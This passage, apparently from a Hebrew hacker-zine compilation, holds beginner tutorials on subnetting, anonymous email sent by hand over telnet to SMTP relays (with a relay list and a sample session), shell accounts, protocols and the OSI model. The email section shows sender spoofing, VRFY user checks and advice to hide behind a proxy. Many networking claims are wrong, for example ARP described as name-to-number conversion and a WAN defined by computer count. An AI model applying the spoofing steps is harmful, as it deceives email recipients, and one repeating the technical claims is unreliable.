‫‪.‬מה זה סאבנטינג ? רוצים לדעת ? תמשיכו לקרוא‬


‫‪ :‬מספר דברים שכדאי לדעת לפני הקריאה‬
‫‪ARP list - list of the all MAC )media access control( Numbers.‬‬
‫‪RIP list - list of all the Routers.‬‬
‫‪DefaultGateWay - the input chip of the Router.‬‬
‫כל חומר הכתוב פה הוא למטרות לימודיות בלבד ואין לעשות בו כל פעולה שהיא נגד החוקף‬
‫‪.‬לא שיש מה לעשות אבל בכל מקרה‬
‫‪.‬אני נותן מבט בסיסי כדי שתוכלו להכיר את הרשת שעליה אתם עובדים או ****** אליה‬

‫‪:‬עכשיו אני אתן לכם מבט בסיסי על הנושא שנקרא סבנטינג‬


‫‪,‬סבנטינג‪ :‬חלק מהרשת ‪ ,‬יכול להיות רשת פיזית עצמאית בפני עצמה‬
‫‪,‬המטפלת ב"פלח" מסוים מהבנה של הרשת השלמה‬
‫‪.‬בדרך כלל רשת שכזו חולקת תת כתובת של הרשת השלמה עם שאר הרשתות המישניות‬
‫‪:‬אנא הביטו בתרשים הבא‬
‫_ _ _ _‬
‫|‪|4| |3| |2| |1‬‬
‫_‬
‫|‪|5‬‬
‫_ _ _ _‬
‫|‪|6| |7| |8| |9‬‬

‫‪.‬למשל אנחנו רוצים לשלוח משהו ממחשב ‪ 3‬למחשב ‪ 8‬באופן ישיר‬


‫‪'.‬אם נעשה את זה בדרך הרגילה אז זה יקח זמן‪ ,‬עד שכל מחשב יאשר וכו‬
‫? אבל מה יקרה אם נעשה את זה עם סוד שידור אחר‬
‫? למשל ‪ Unicast‬כמו‬
‫‪,‬הוא סוג של שידור אשר לא יעביר הכל דרך כל המחשבים ‪ ? Unicast‬אתם שואלים מה זה‬
‫אתם אומרים לו תשלח דאטה למחשב ‪ 8‬ממחשב ‪ 3‬הוא יעשה זאת ללא מעבר דרך המחשבים‪:‬‬
‫‪4,5,6,7.‬‬
‫לא עובד אם אותיות‪ ,‬מספרים ‪ TCP/IP‬כי ‪ NetBuei,‬סוג השידור הזה לא עובד אם פרוטוקול‬
‫‪.‬בלבד‬
‫‪(.‬אם אתם לא מכירים או הפרוטוקול רוצו ללמוד במדריך הקודם שלי)‬
‫הוא נתב ‪ ,‬התקן חומרה המנתב הודעות ואינפורמציה ברשת בהתאם (‪ )Router‬עכשיו‪ ,‬ראוטר‬
‫‪.‬לצורתם‬
‫‪.‬ראוטר הוא לא פריט זול‪ ,‬הוא עולה כ‪ 10,000 -‬דולר בחו"ל‬
‫‪".‬הראוטרים טובים ביותר הם של החברה "סיסקו‬

‫‪,‬לשני גורמים (‪ )IP‬עכשיו נעבור לפירוק האיפי‬


‫‪NetWork Id, Host Id.‬‬
‫‪.‬חוקים לאיפי‪ ,‬אסור שיתחיל ב ‪ ,127‬אסור שיסתיים ב‪225 ,0 -‬‬
‫‪.‬הוא גם מחוץ לטווח‪ .‬אם אתם לא יודעים למה אז תבררו ואז תמשיכו לקרוא ‪127.0.0.1‬‬
‫‪ - Network, Host , ID.‬איך נזהה באיפי מה הוא ה‬
‫(‪: )subnet mask‬הכל מתחלק ל ‪ 3‬קבוצות עיקריות‬
‫‪ : Ip: Z.Q.W.X‬דוגמא‬

‫‪Z Q W X‬‬
‫‪------------------------------‬‬
‫| ‪class a: | N | | H | | H | | H‬‬

‫‪166‬‬
‫‪------------------------------‬‬
‫| ‪class b: | N | | N | | H | | H‬‬
‫‪------------------------------‬‬
‫| ‪class C | N | | N | | N | | H‬‬
‫‪------------------------------‬‬
‫היא מראה מה זה מה‪ ,‬מה מהם הנטוורק אידי‪ ,‬ומה ההוסט אידי ומבדילה ‪Subnet Mask -‬‬
‫‪.‬ביניהם‬
‫‪- SUBNET MASK.‬עכשיו נעבור לזיהוי ל איפי ללא ה‬

‫=========================================‬
‫|‪class a: | 1 | | 1-127 | | 126 | | 16777214‬‬
‫=========================================‬
‫| ‪class b: | 10| | 128-191 | | 16384 | | 65534‬‬
‫=========================================‬
‫| ‪class C |100| | 192-223 | | 2097152 | | 254‬‬
‫=========================================‬
‫‪:‬דוגמא‬
‫(]‪155.25.69.41 - Class B )quz 155 is between 128-191[class B‬‬
‫(]‪215.25.69.41 - Class C )quz 215 is between 192-223[class C‬‬
‫(]‪62.25.69.41 - Class A )quz 62 is between 1-127[class A‬‬
‫(! ‪377.2.3.5 - Not allowed )quz 377 is out of limit‬‬
‫(!‪213.2.2.0 - Not allowed )quz IP numbers rn't allowed to end with a 0‬‬

‫‪ .‬מבינים‪ ,‬אם כן יופי‪ ,‬אם לא אז תקראו בסוף זה יקלט ‪ ,‬אני מקווה‬


‫! והנה עוד כמה מושגים שכדאי לדעת לעובדים ברשת‬

‫‪,‬התקן רשת הקובע את נתיב "חבילות" הנתונים אל יעדיהן ברשת ‪Switch -‬‬
‫‪.‬קובע את יעד חבילות המידע בתוך הרשת‬

‫‪,‬סוג אי פי נימרץ ‪ ,‬הנפוץ ביותר קיום בעולם ‪Dynamic IP -‬‬


‫‪,‬כל פעם כאשר מתחברים לרשת מסוימת נקבע אי פי חדש ושונה‬
‫‪,‬הבעיה בסוג הזה של האי פי הוא שזיהוי של משתמשים‬
‫‪.‬קשה ובילתי יציב‪ ,‬לא ניתן להיסתמך על נתונים מכוון שכשיתחברו מחדש הנתונים ישתנו‬

‫‪ ,‬סוג אי פי נייח ולא דינמי‪ ,‬פחות נפוץ ביותר קיום ‪Static IP -‬‬
‫‪,‬מובנה ברוב טכנולוגיות התקשורת החדשות‪ ,‬חיבור הוא היציב ביותר והקל ביותר מבחינת זיהוי‬
‫‪,‬משתמש שהתחבר לרשת ישאר עם אותו אי פי לעולם‬
‫‪.‬לכל מחשב יש אי פי אחד או יותר שמובנים עליו ורק בהם הוא יכול להשתמש‬

‫‪,‬אז אנו מקווה שנהניתם ואנחנו יודעים שאתם בטח אומרים בלב בואנה זה חומר משעמם‬
‫‪.‬אולי הוא משעמים אבל הוא חשוב לכל מי שרוצה להתעסק ברשתות‬
‫‪ .‬רק שתדעו‪ ,‬חצי מהחומר פה מופיע במבחן הגמר של קורס של מיקרוסופט‬

‫‪By PirsiNg & Zeh‬‬

‫‪167‬‬
‫דואר אנונימי דרך טלנט‬

‫‪.‬אני יודע שהיום יש תוכנות שעושות את זה‪ ,‬אבל תמיד טוב לדעת שיטות נוספות‬
‫הוא שרת שאחראי על דואר יוצא ודרכו אפשר לשלוח דואר אלקטרוני ‪ smpt‬שרת‬
‫‪(.‬פורט ברירת המחדל שלו הוא ‪)25‬‬
‫‪:‬וככה זה עובד‬

‫מתחברים לשרת דואר יוצא‪1.‬‬


‫‪telnet netvision.net.il 25‬‬
‫‪.‬או כל שרת דואר אחר‬

‫‪:‬ואלו הפקודות‪2.‬‬
‫‪.‬מזהה אותך לפני השרת וקובע שאתה המקור של השליחה ‪ OLEH‬או ‪HELO -‬‬
‫פעולה שלכאורה לא עושה כלום אבל היא בעצם מחזירה פלט מהשרת אליך וככה ‪NOOP -‬‬
‫‪.‬אפשר לבדוק אם אתה עדיין מחובר ומה המהירות של החיבור בינך אל השרת‬
‫(אני חושב שזה דיי ברור‪( ...‬מתנתק מהשרת ‪QUIT -‬‬
‫‪.‬עזרה בקשר לפקודה מסויימת ]‪HELP - [topic‬‬
‫(יציג רשימה של הפקודות שניתנות לשימוש בשרת‪( .‬בד"כ דומה ברוב השרתים ‪HELP -‬‬
‫מוחק את כל מה שהכנסתם עד עכשיו‪ ,‬כתובת שולח וכדומה ‪RSET - -‬‬
‫כתובת השולח >‪MAIL FROM - :<address‬‬
‫‪.‬מכניס את התאריך של כתיבת הדוא"ל ופותח את גוף המכתב ‪DATA -‬‬
‫‪.‬שולח את המכתב ‪ATUH - -‬‬
‫‪: - vrfy Rul3R‬בודק אם המשתמש קיים בשרת‪ .‬דוגמא ‪VRFY -‬‬
‫כתובת היעד (ניתן לרשום את הפקודה הזאת יותר מפעם אחת ובכך ‪RCPT TO:<recipient> -‬‬
‫‪(.‬לשלוח ליותר מאיש אחד‬

‫?איך לגלות אם קיבלתם דואר מזוייף‬


‫תסתכלו ב‬
‫‪headers‬‬
‫של הדואר ואז אתם רואים את האי פי של מי ששלח אז תסתכלו על‬
‫‪.‬הכתובת של מי ששלח ותראו שזו לא אותה הכתובת‬

‫‪:‬הערות‬
‫‪.‬כל הפעולות שלכם נרשמות ‪ ,‬כולל למי אתם שולחים את האי פי שלכם וכל השאר‪+‬‬
‫בד"כ אם אין פעילות ברוב שרתי הדואר תוך ‪ 60‬שניות הקשר ינותק‪+‬‬
‫‪.‬היום יש תוכנות שעושות את זה‪+‬‬
‫רצוי לעשות את זה מאחורי פרוקסי‪+‬‬
‫לא כדי להשתמש בתוכנות כי לרוב הן לא נותנות להתחבר עם פרוקסי‪+‬‬

‫‪:‬רשימה של שרתי דואר‬


‫‪newmail.net:25‬‬ ‫‪plix.com:25‬‬
‫‪mail.yahoo.com:25‬‬ ‫‪ids.net:25‬‬
‫‪mail.hotmail.com:25‬‬ ‫‪student.uq.edu.au:25‬‬
‫‪mail.surfree.net.il:25‬‬ ‫‪istar.ca:25‬‬
‫‪out.inter.net.il:25‬‬ ‫‪total.net:25‬‬
‫‪mail.airmail.net:25‬‬ ‫‪mail.tfs.net:25‬‬
‫‪mail.geocities.com:25‬‬ ‫‪ecis.com:25‬‬
‫‪mnsi.net:25‬‬ ‫‪mindspring.com:25‬‬
‫‪hacker.com:25‬‬ ‫‪popmail.uc.edu:25‬‬

‫‪168‬‬
mail.iaw.on.ca:25 mail.atcon.com:25
pdx.sisna.com:25 future.net:25
jaring.my:25 aloha.net:25
chollian.dacom.co.kr:25 ovnet.com:25
all-yours.net:25 connect.reach.net:25
valley-internet.net:25
valleynet.com:25
milo.cfw.com:25
scs.august.com:25
hiwaay.net:25

‫ זה לא חלק מהשם זה הפורט‬25: ‫הערה‬

‫ זה הערות שלי‬/* */ ‫ מה שכתוב בתוך ה‬:‫לוג לדוגמה‬


---
Connected to netvision.net.il on port 25 /*‫*מתחבר לסרבר של נטוויז'ן‬/
220 ftp.netvision.net.il ESMTP Sendmail 8.9.3/8.9.3; Mon, 2 Apr 2001 18:47:18
+0200 )IST( /*‫*מקבל תאריך מלא וגירסא של שרת האימייל שלהם‬/
helo ihc /*‫ מזדהה בשם‬ihc*/
250 ftp.netvision.net.il Hello diup-205-209.inter.net.il [213.8.205.209], pleased to
meet you /*‫*מקבל תגובה עם האייפי שנקלט במערכת שלהם‬/
help /*‫*שולח בקשה לעזרה ולראות את כל הפקודות‬/
214-This is Sendmail version 8.9.3 ‫*של התוכנה שהשרת מריץ‬/ ‫*גירסא‬/
214-Commands: /*‫*מקבל את כל הפקודות‬/
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB
214-For more info use "HELP <topic>".
214-To report bugs in the implementation send email to
214- sendmail@CS.Berkeley.EDU.
214-For local information send email to Postmaster at your site.
214 End of HELP info /*‫*סיים לקבל את הפקודות‬/
mail from: <ihc@netvision.net.il> /*‫אומר לשרת את הכתובת אימייל שאני רוצה לשלוח‬
‫*ממנה‬/
250 <ihc@netvision.net.il>... Sender ok /*‫*מקבל אישור מהשרת‬/
rcpt to: <webmaster@netvision.net.il> /*‫*אומר לשרת למי אני רוצה לשלוח‬/
250 <webmaster@netvision.net.il>... Recipient ok /*‫*מקבל אישור מהשרת‬/
data /*‫*שולח פקודה דאטא‬/
354 Enter mail, end with "." on a line by itself /*‫מקבל תגובה מהשרת שאומרת לשים‬
‫*נקודה בסוף ההודעה‬/
subject: test /*‫*קובע את נושא ההודעה‬/

hey man /*‫*כותב את ההודעה‬/


whats up?
ihc r0x
. /*‫*כותב נקודה כדיי להגיד לשרת לסגור את ההודעה‬/
250 SAA05248 Message accepted for delivery /*‫*מקבל אישור מהשרת שההודעה נשלחה‬/
noop /*‫*שולח פקודה "נופ" כדיי לראות שאני עדיין מחובר‬/
250 OK /*‫*מקבל תגובה מהשרת וככה אני יודע שאני עוד מחובר‬/
vrfy ihc /*‫ בודק אם יש בשרת משתמש בשם‬ihc*/

169
252 Cannot VRFY user; try RCPT to attempt delivery )or try finger( /*‫מקבל תגובה‬
‫*שלישית מהשרת שאומרת שאין כזה משתמש‬/
quit /*‫*שולח פקודה יציאה מהשרת‬/
221 ftp.netvision.net.il closing connection /*‫*מקבל הודעת יציאה מהשרת‬/
Disconnected from netvision.net.il /*‫*החיבור נותק‬/

By VoRtex
Rul3r ‫תיקונים ותוספות‬

170
‫חשבונות ‪Shell‬‬

‫‪:‬הקדמה‬
‫======‬
‫המדריך הזה נכתב אחרי מאות בקשות של אנשים שרוצים לדעת מה זה לעזאזל שאלל‪ ,‬לשם מה‬
‫‪.‬הוא נועד‪ ,‬איך משתמשים בו ולמה הוא טוב בכלל; על כל זה נרחיב במדריך הנ"ל‬

‫?מהו חשבון שאלל‬


‫===============‬
‫‪...‬חשבון שאלל הוא בעצם סקריפט‪ ,‬שהלקוח [אנחנו]‪ ,‬מתחברים אליו בעזרת טלנט פשוט‬
‫שאלל הוא בעצם מערכת יוניקס\לינוקס מרוחקת‪...‬ולפעמים אתה שולט על כל המחשב המרוחק‬
‫‪...‬דרך המחשב הביתי שלך אפילו אם יש לך וינדוס ‪ ,98‬או כל דבר אחר‬
‫וכל דבר אחר שבא לכם ‪ FTP,‬דרך השאלל אפשר לגלוש באינטרנט‪ ,‬להתקין שרתי צ'אט‬
‫‪.‬לראש‪...‬אבל בדרך כלל השרתים הרגילים מאפשרים להריץ עד ‪ 3‬שרתים בו זמנית‬

‫?לשם מה הוא נועד‬


‫================‬
‫חשבון השאלל נועד להרבה מטרות חשובות וחשובות פחות‪ ,‬אבל הוא מיועד בעיקר לאנשים שאין‬
‫להם לינוקס‪ ,‬אבל הם בכל זאת רוצים להשתמש בשירותים שהלינוקס מקנה להם‪ ,‬בלי להתקין‬
‫‪.‬אותו במחשב שלכם‬
‫עוד השאלל משמש ללימוד‪ ,‬צבירת ניסיון בלינוקס ‪-‬כי כל הפקודות בו נכתבות ידנית כי אין לכם‬
‫‪.‬בשאלל שום מסך גראפי כמו בוינדוס‪ ,‬והוא איכשהו מזכיר את מערכת ה‪-‬דוס‬
‫עוד שימוש עיקרי בשאלל הוא כמובן פריצה‪...‬למרות שזה ממש לא חוקי ויכול לסבך אותכם‬
‫!!בגדול‪ ,‬כי כל האחריות נופלת על בעל השאלל‪ ,‬זה בכל זאת אפשרי ורב כוח‬
‫ואף ‪ T3‬רוב שרתי השאלל פועלים על פס תקשורת מהיר מאוד‪ ,‬כשבממוצע הוא פועל על מערכות‬
‫שבמילים פשוטות מי שלא יודע מה זה‪ ,‬המכשיר מגיע למהירות של‪ OC48 -‬מגיע להתקנים כמו‬
‫!!יותר מחמש ג'יגה‪-‬בייט לשניה‬
‫בשאלל אתם יכולים להתקין שרתים מגוונים‪ ,‬והכל באיכות שרק מערכת יוניקס יכולה לקנות‪-‬‬
‫לכם‪...‬ושלא נדבר על המהירות שאיתה אתם עובדים‪ .‬לעומת זאת‪ ,‬בשאללים שניתנים חינם‪,‬‬
‫האפשרויות מאוד מוגבלות ולא נותנות לכם להריץ בוטים לצ'אטים או שרתים שתופסים הרבה‬
‫זיכרון ועוד הרבה הגבלות אחרות‪ ,‬כך שאם אתם באמת מחליטים להתנסות בשאלל‪ ,‬בלי הפחד‬
‫של להרוס לעצמכם את המחשב אם תתקינו לינוקס‪ ,‬עדיף יהיה לכם לשלם ‪ 8‬עד ‪ 20‬דולרים‬
‫לחשבון שאלל מתקדם‪ ,‬שייאפשר לכם לעשות בו כמעט כל דבר אפשרי בדיוק כמו במערכת‬
‫!יוניקס רגילה‬

‫פקודות בסיסיות בשאלל‬


‫====================‬
‫טוב‪ ,‬לאלו שלא יודעים דבר ביוניקס\לינוקס [אותו הדבר]‪ ,‬ניתן כמה פקודות בסיסיות לשימוש‬
‫‪...‬בשאלל שלכם‪..‬כי הפקודות שונות מאלו שאתם מכירים‬
‫‪:‬הערה‬
‫=====‬
‫!במערכות יוניקס יש הבדל בין אותיות גדולות לקטנות‪ ,‬ככה שתקדישו לזה תשומת לב‬

‫‪ -.‬להיכנס לספרייה שאתם רוצים‪...‬בדיוק אותה הפקודה המוכרת ממערכת הדוס ‪Cd‬‬
‫‪. -‬שנותן לכם לראות את תוכן הקובץ אותו אתם כותבים לצפייה ‪cat‬‬
‫‪.‬פקודה האומרת לתוכנה להוריד את הקובץ מהלינק אותו תכתבו לידה ‪Wget -‬‬
‫זוהי =תוכנה= אמיתית‪ ,‬כמובן בלי שום גראפיקה‪ ,‬ככה שאל תבהלו‪ ,‬אבל זהו דפדפן ‪lynx -‬‬
‫!האינטרנט המהיר ביותר בעולם‪....‬כי הוא פותח אתרים בצורה טקסטואלית‬
‫שוב =תוכנה= שנותנת לכם לערוך קבצי טקסט‪ ,‬לתכנת!‪ ,‬ועוד הרבה אפשרויות ‪Emacs- -‬‬
‫!אחרות‬

‫‪171‬‬
‫‪ .gz‬פקודה לפתיחת קובץ מכווץ שאתם מורידים מהאינטרנט מסוג ‪Gzip - -‬‬
‫‪ .‬והוא פותח קבצים מכווצים מסוג ‪ -GZIP‬זהו עוד כיווץ שבא בדרך כלל בייחד עם ה ‪Tar - tar -‬‬
‫‪ -‬פקודה מוכרת לכולנו‪...‬אין צורך לפרט אני חושב ‪dir‬‬
‫‪...‬הקומפיילר לשפת ה שאי אפשר לזוז בלעדיו כמעט בלינוקס ‪Gcc - C\C++‬‬
‫‪:‬עוד חשוב לציין‪ ,‬שאפשר לראות את העזרה לפקודות\תוכנות המבוקשות בעזרת פקודת‬
‫‪help--Command‬‬
‫!עם רווח בין שני הפקודות‬
‫אם אתם רוצים לקרוא יותר לעומק את הפקודות או כל דבר אחר לתפעול הלינוקס‪ ,‬השתמשו‬
‫‪:‬בפקודת‬
‫‪man‬‬
‫‪.‬וליידה את הפקודה\תוכנה\כל דבר אחר שעליו אתם רוצים לקרוא עוד‬

‫טוב‪ ,‬עכשיו אתם בטח רוצים כמה כתובת מאיפה אפשר להשיג שאללים‪ ,‬אז הנה‪ ,‬ניתן לכם כמה‬
‫‪...‬כתובת של שאללים חינמים שלא מומלצים כל‪-‬כך‪ ,‬אבל בכל זאת‬
‫‪nether.net‬‬
‫‪freeshell.org‬‬
‫אני לא יודע אם עדיין יש שם רשימות של שאללים‪ ,‬אבל בכל זאת‪www.cyberarmy.com/lists -‬‬
‫!תנסו‬

‫‪ EFNET, DALNET‬שאללים בתשלום אפשר למצוא דרך שרתי הצ'אט של‬


‫‪: #SHELLS, SHELL,BOUNCERS‬בחדרים‬
‫!שנותנים לכם המון מקומות לקניית שאללים טובים‬

‫‪:‬אם אתם בכל זאת לא יודעים איך להתחבר לשאלל שלכם‪ ,‬אז הנה‬
‫בפורט ‪telnet yourshellhere - 23‬‬
‫‪BY CnTaX‬‬

‫‪172‬‬
‫פרוטוקולים‪.‬‬

‫קודם כל נתחיל אם סוגי הפרוטוקולים הקיימים ומה הם עושים‪.‬‬

‫הערה קטנה לפני שנתחיל‪ ,‬שני סוגי הרשתות הקיימות‪.‬‬


‫רשת מקומית ‪LAN -‬‬
‫‪.‬רשת שמשתרעת על יותר מ ‪ 12‬מחשבים באותו חדר ‪WAN -‬‬

‫כל הפרוטוקולים מתחלקים לשני סוגים‪.‬‬


‫הוא פרוטוקול אשר שולח הודעה‪/‬מידע או כל דבר אחר ללא – ‪1. Connectionless protocol‬‬
‫‪.‬המתנה לאישור מהנמען‪ .‬ככה הפרוטוקול עובד מהר יותר והוא גמיש יותר‬
‫הוא פרוטוקול אשר שולח הודעה‪/‬מידע למחשב אחר – ‪2. Connection oriented protocol‬‬
‫והוא ממתין לאישור הנמען‪ ,‬הפרוטוקול הנ"ל מאובטח ביותר והעברת הנתונים תהיה איטית‬
‫‪.‬יותר בגלל ההמתנה לתשובה‬

‫עכשיו נעבור לעבודת הפרוטוקולים תחת המודלים של ה – ‪.OSI‬‬

‫‪IPS‬‬ ‫‪OSI‬‬

‫‪Not Specified‬‬ ‫‪Application‬‬


‫‪ARP, RARP‬‬ ‫‪Presentation‬‬
‫‪IP‬‬ ‫‪Session‬‬
‫‪TCP, UDP‬‬ ‫‪Transport‬‬
‫‪Telnet, FTP, SMTP, SNMP, HTTP‬‬ ‫‪Network, Data Link, Physical‬‬

‫יש פרוטוקול אשר יוצא דופן מהשאר‪ ..‬בגלל שהוא עובד על המרת תווים למספרים‪.‬‬
‫‪ARP – Address Resolution Protocol.‬‬
‫ויש אחד אשר עובד על העברת חדשות ‪ ,‬אבל הוא לא ממש מעניין‪.‬‬
‫‪NNTP – Network News Transport Protocol.‬‬

‫פה אני אתן רשימה של פרוטוקולים שלא נמצאים בשימוש ע"י כל אחד‪ ,‬אבל שימושיים לאלה‬
‫שעובדים איתם‪.‬‬
‫מה הוא עושה ?‬ ‫שם הפרוטוקול !‬
‫‪ ICMP – Internet Control Message‬משמש לבקרת שגיאות‬
‫‪Protocol‬‬
‫הקצאת ‪ IP‬באופן ידני לרשת‬
‫‪DHCP – Dynamic Host Configuration‬‬
‫‪Protocol‬‬
‫‪ RIP – Routing Information Protocol‬קביעת וקטור המסלולים ב – ‪TCP/IP‬‬
‫‪ SMB – Server Message Box‬משמש כ – ‪Redirector‬‬
‫‪ NetBios – Working under Session‬משמש ל‪-‬קלט‪/‬פלט של שמות (‪)IP‬‬
‫‪ NetBEUI – Working under Transport‬כמו ‪ NetBios‬רק שזה לא תומך ב –‬
‫‪Routing Message‬‬
‫‪ Wins - Windows Internet Naming Service‬מערכת לתרגום שמות ל‪.IP -‬‬

‫‪173‬‬
‫עכשיו נעבור לפרוטוקולים הנפוצים יותר והשימושיים יותר‪.‬‬

‫מה הוא עושה ?‬ ‫שם הפרוטוקול !‬


‫קשר מנקודה לנקודה‪.‬‬
‫‪PPP – Point to Point Protocol‬‬
‫‪ SLIP – Serial Line Internet Protocol‬עושה פעולה אחת לפני ה – ‪PPP‬‬
‫‪ -"-"- -"- -"- CSLIP – compress Serial Line Internet‬ה – ‪ ,PPP‬רק בצורה דחוסה‪.‬‬
‫‪Protocol‬‬
‫‪ FTP – File Transfer Protocol‬הורדת קבצים והעלאת קבצים‪)Transport( .‬‬
‫‪ Telnet – Terminal Networking‬פרוטוקול לעבודה בין מסופים‪.‬‬
‫‪ SMTP – Simple Mail Transfer Protocol‬פרוטוקול לדואר נכנס‪/‬יוצא‪.‬‬
‫‪ HTTP – Hypertext Transfer Protocol‬פרוטוקול לאינטרנט היפר‪-‬טקסט‪ .‬אתרים וכו'‬
‫‪ SNMP – Simple Network Management‬פרוטוקול לניהול פשוט של הרשת‪.‬‬
‫‪Protocol‬‬
‫‪ UDP – User Datagram Protocol‬עוזר להעברת חבילות גדולות של מידע‪.‬‬
‫‪ TCP – Transmission Control Protocol‬משמש להעברת‪/‬קבלת ‪.‬נתונים‪.‬‬
‫‪ IP – Internet Protocol‬משמש לתקשורת לאינטרנט‪.‬‬
‫‪ TCP / IP - Transmission Control‬חבילת פרוטוקולים נפוצה אשר משמשת כדי‬
‫לגלוש לרשת האינטרנט‪.‬‬ ‫‪Protocol/Internet Protocol‬‬
‫ישנו כמו מין דבר מעיק כזה‪ ,‬שאני לא יודע אם לקרוא לזה באג בפרוטוקול הנפוץ ביותר בעולם‪.‬‬
‫ה‪ ,TCP/IP -‬כאשר אתה משתמש בפרוטוקול לשליחת מידע אז‪ ,‬בכל פעם שאתה שולח מידע‬
‫בחבילה אז אתה גם מוריד חבילה באותו זמן‪ ,‬בלי ידיעתך‪ .‬אז זה מקשה משפיע על קצב העברת‬
‫הנתונים ממך אל נמען אחר…‪.‬‬
‫הפרוטוקול הנ"ל אינו מסוגל לקרוא אותיות‪ ,‬רק ספרות [מספרים]‪ ,‬כגון (‬
‫‪()203.201.023.0‬כתובות ‪ ,)IP‬אז בכל מחשב שמשתמש בפרוטוקול זה ישנו גם פרוטוקול‬
‫שאחראי על המרת האותיות למספרים‪ .‬הוא נקרא‪:‬‬
‫‪.ARP – Address Resolution Protocol‬‬

‫כל תהליך ההמרה מתחיל ככה‪:‬‬


‫‪1. NetBios Cache, 2.Wins, 3.BroadCast, 4.Lmhost file, 5.Host file, 6. DNS.‬‬
‫‪2‬דוגמא‪:‬‬
‫הוא קולט את האותיות ומתחיל בהמרה – ]‪• BiosCache = [www.walla.co.il‬‬
‫‪.‬המנגנון הממיר את האותיות למספרים‪ ,‬הוא מתחיל בפענוח האותיות – ‪• Wins‬‬
‫‪.‬שידור של אות – ‪• BroadCast‬‬
‫‪.‬ממיר אותיות למספרים ולהיפך‪ .‬במקרה שלנו מאותיות למספרים – ‪• Lmhost File‬‬
‫‪.‬קובץ מארח ע"פי הנתונים של ה קובץ מעל – ‪• Host File‬‬
‫הפלט של ההמרה – ]‪• DNS = [192.118.70.2‬‬

‫ככה עובד הפרוטוקול הידוע והנפוץ ‪.TCP/IP‬‬


‫‪-----------------------------------------------------------------------------------------------‬‬
‫נעבור לשני הגדרות שהם קצת יותר מתקדמות בעבודה ברשת‪.‬‬
‫‪ODI – Open Datalink Interface & Open Device Interconnect.‬‬

‫‪NDIS – NetWork Driver/Device InterFace Specification.‬‬


‫‪.‬צורת הצגה של העברת נתונים פתוחים – ‪ODI‬‬
‫‪.‬ממשק למנהלי רשת בסביבת חלונות – ‪NDIS‬‬

‫‪By Pirsing‬‬

‫‪174‬‬
‫מבוא לשכבת ‪OSI‬‬

‫ה‪ OSI-‬הוצא לאור ב ‪ 1978‬ע"י ה‪ ( ISO-‬ארגון התקנים הבינלאומי)‬


‫ה‪ OSI-‬מגדיר את פונקציות התקשורת בין מחשבים במונחים של שבע שכבות‪.‬‬
‫הרעיון של ‪ OSI‬הוא שמערכות שונות יוכלו לתקשר ביניהן בעזרת פרוטוקולים וממשקים ששתי‬
‫המערכות מבינות‪.‬‬

‫כשארגון התקנים הבינלאומי יצר את ה‪ OSI-‬הוא חילק את פונקציות הרשתות לשבעה שכבות‬
‫והן‪:‬‬

‫______________‬
‫| ‪| Application‬‬
‫|______________|‬
‫| ‪| Presentation‬‬
‫|______________|‬
‫| ‪| Session‬‬
‫|______________|‬
‫| ‪| Transport‬‬
‫|______________|‬
‫| ‪| Network‬‬
‫|______________|‬
‫| ‪| Data Link‬‬
‫|______________|‬
‫| ‪| Physical‬‬
‫|______________|‬

‫עכשיו אני אסביר על כל שכבה‪.‬‬

‫* שכבת ‪Physical‬‬
‫השכבה הזאת היא בעצם הדברים הפיזיים‪ ,‬שאפשר לגעת בהם כגון כבלים היא גם מגדירה כל‬
‫מיני דברים‬
‫כמו פינים בכבלים‪.‬‬

‫* שכבת ‪Data Link‬‬


‫שכבה זו מספקת העברת נתונים מנקודה לנקודה השכבה גם מספקת טיפול בבעיות בהעברת‬
‫הנתונים‪.‬‬

‫* שכבת ‪Network‬‬
‫השכבה הזאת מאפשרת העברת נתונים בין השכבות‪ ,‬השכבה הזאת יכולה לנווט ולשלוט‬
‫בחבילות‪.‬‬
‫יש עוד תפקיד לשכבה שהוא לתת כתובת לחבילות שנוצרו ע"י השכבה ‪ Transport‬שנסביר עליה‬
‫תיכף אתם‬
‫כבר תבינו למה היא נותנת להם כתובת‪.‬‬

‫* שכבת ‪Transport‬‬
‫נגיד שאתה רוצה לשלוח מכתב לשרת מסויים אבל הוא שני דפים אז אתה שולח אותו בשני‬
‫חבילות‪,‬‬
‫השכבה הזאת ממספרת את החבילות מצד השולח והוא בודק שהם מסודרות לפי סדר השליחה‬
‫לפני שהוא מרכיב‬
‫הכל לדבר אחד‪.‬‬

‫* שכבת ‪Session‬‬

‫‪175‬‬
‫כששני יישומים ברשת מתקשרים זה עם זה תפקיד השכבה הוא לקבוע איזה יישום מדבר ואיזה‬
‫ישיב‪,‬‬
‫השכבה גם מפקחת על כל מיני דברים אחרים למשל שפתאום החיבור לאינטרנט התנתק אז‬
‫השכבה הזאת היא‬
‫זאתי שמתריעה אותך שהחיבור לאינטרנט התנתק‪.‬‬

‫* שכבת ‪Presentation‬‬
‫השכבה הזו בעצם מכינה את ההודעות לשידור‪ ,‬היא משמשת גם להצפנה וגם לדחיסת נתונים‬
‫כדי שהעברה‬
‫תהיה מהירה יותר‪.‬‬

‫* שכבת ‪Application‬‬
‫זוהי השכבה שבה אתה מבקש מה לעשות ומערכת ההפעלה עושה את זה‪ ,‬כמו להוריד נתונים‬
‫ממחשב אחר‬
‫או כל דבר אחר‪ ,‬השכבה שולחת את הבקשה לשכבת ‪ Transport‬ומשם זה ממשיך‪.‬‬

‫כל שבעת השכבות מחולקות לעוד שלושה חלקים‪:‬‬

‫שכבות ה‪ Physical, Data Link, Network-‬נקראות ‪Communication Subnet‬‬

‫השכבות ה‪ Session, Presentation, Application-‬נקראות ‪Host Process‬‬

‫ההשכבה האמצעית ‪ Transport‬משמשת כחוצץ בין שני החלקים האחרים‪.‬‬

‫‪OSI model and internet‬‬

‫‪Application , Presentation , Session‬‬


‫||‬
‫||‬
‫‪,NFS, XDR, RPC‬‬
‫‪,TELNET, FTP‬‬
‫‪.SMTP, RIP‬‬

‫‪Transport‬‬
‫||‬
‫||‬
‫‪TCP, UDP‬‬

‫‪Network , Data Link , Physical‬‬


‫||‬
‫||‬
‫‪IP, ICMP‬‬
‫‪802.2‬‬
‫‪CSMA/CD 802.3‬‬
‫‪Token Bus 802.4‬‬
‫‪Token Ring 802.5‬‬

‫‪OSI model and Novell NetWare‬‬

‫‪176‬‬
Application , Presentation , Session
||
||
NCP, NETBIOS
,Emulation
,NETX, Btrieve
,NetWare, RPC
,STREAMS, TLI
SAP

Transport
||
||
SPX, IPX

Network , Data Link , Physical


||
||
802.2
CSMA/CD 802.3
Token Bus 802.4
Token Ring 802.5

]By [Twix

177
